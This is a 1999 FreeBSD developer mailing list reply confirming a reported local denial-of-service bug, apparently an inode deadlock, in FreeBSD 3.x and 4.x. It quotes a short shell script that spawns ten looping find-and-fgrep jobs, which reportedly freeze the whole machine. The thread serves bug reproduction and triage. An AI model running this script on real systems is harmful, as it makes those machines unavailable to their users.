Date: Thu, 4 Mar 1999 16:35:14 -0800 (PST) From: Matthew Dillon <dillon@apollo.backplane.com> To: Chris Costello <chris@holly.dyndns.org>, Mike Tancsa <mike@sentex.net>, current@FreeBSD.ORG Subject: Re: Simple DOS against 3.x locks box solid Message-ID: <199903050035.QAA33521@apollo.backplane.com> References: <4.1.19990304073656.084804e0@granite.sentex.ca> <19990304155401.A5710@holly.dyndns.org> <199903050022.QAA32802@apollo.backplane.com>
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Well, this was easy to duplicate. I'll try to track it down. It seems
to occur under -4.x as well as -3.x. Definitely an inode deadlock of some
kind.
-Matt
: Try changing the 'find' to 'find -x'. If this still locks up the machine
: we will have to then determine whether it occurs under 4.x as well, or
: if it only occurs under 3.x.
: -Matt
:
::> As posted by yk@dgtu.donetsk.ua
::> >
::> >This script freeze my 3.1-RELEASE box.
::> >I can't make any connection with my box, also from console.
::> >
::> >-------- cut here ---
::> >#! /bin/sh
::> >
::> >for j in 1 2 3 4 5 6 7 8 9 10
::> >do
::> >echo -n $j
::> >nohup sh -c 'while :; do find / -type file |xargs fgrep fticom; done'
::> >/dev/null 2>&1 &
::> >echo
::> >done
::> >--------- cut here ----
::> >
::> >--
::> >Yury V. Yaroshevsky | Donetsk State Technical University
::> >YY18-RIPE | (380 622) 356455 yk@dgtu.donetsk.ua
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